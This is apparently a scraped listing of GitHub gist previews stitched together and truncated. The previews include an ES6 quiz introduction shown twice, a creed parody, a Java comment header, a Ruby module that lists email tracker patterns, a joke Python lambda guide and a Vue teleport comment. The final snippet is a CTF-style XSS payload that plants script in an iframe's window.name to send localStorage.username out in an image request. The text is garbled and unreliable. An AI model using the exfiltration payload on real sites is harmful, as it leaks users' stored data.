@kangax created a new interesting quiz, this time devoted to ES6 (aka ES2015). I found this quiz very interesting and quite hard (made myself 3 mistakes on first pass).
Here we go with the explanations:
(function(x, f = () => x) {| This is gist. | |
| There are many like it, but this one is mine. | |
| It is my life. | |
| I must master it as I must master my life. | |
| Without me gist is useless. | |
| Without gist, I am useless. |
@kangax created a new interesting quiz, this time devoted to ES6 (aka ES2015). I found this quiz very interesting and quite hard (made myself 3 mistakes on first pass).
Here we go with the explanations:
(function(x, f = () => x) {| package goddrinksjava; | |
| /** | |
| * The program GodDrinksJava implements an application that | |
| * creates an empty simulated world with no meaning or purpose. | |
| * | |
| * @author momocashew | |
| * @lyrics hibiyasleep | |
| */ | |
flex your skills and go off the grid, try coding a layout with float.<main> thing the <main> thing.| module Entry::TrackerBlocking | |
| extend ActiveSupport::Concern | |
| included do | |
| has_many :blocked_trackers | |
| end | |
| email_service_blockers = { | |
| "ActiveCampaign" => /lt\.php(.*)?l\=open/, | |
| "AWeber" => "openrate.aweber.com", |
| ########################################################### | |
| # How to NEVER use lambdas. An inneficient and yet educa- # | |
| # tonal [sic] guide to the proper misuse of the lambda # | |
| # construct in Python 3.x. [DO NOT USE ANY OF THIS EVER] # | |
| # original by (and apologies to): e000 (13/6/11) # | |
| # now in Python 3 courtesy of: khuxkm (17/9/20) # | |
| ########################################################### | |
| ## Part 1. Basic LAMBDA Introduction ## | |
| # If you're reading this, you've probably already read e000's |
| /** | |
| * Usage: | |
| * <app-bar> | |
| * <teleport-target name="app-bar" /> | |
| * </app-bar> | |
| * And then: | |
| * <teleport to="app-bar"> | |
| * <h1>Hello World!</h1> | |
| * </teleport> | |
| */ |
| <iframe srcdoc="none" id="frm"></iframe> | |
| <script> | |
| frm.contentWindow.name = ` | |
| (new Image()).src = '${location.href}?report=1&flag='+localStorage.username | |
| `.slice(1, -1) | |
| frm.onload = () => { | |
| console.log('loaded 1') | |
| frm.onload = () => { | |
| frm.onload = null | |
| console.log('loaded 2') |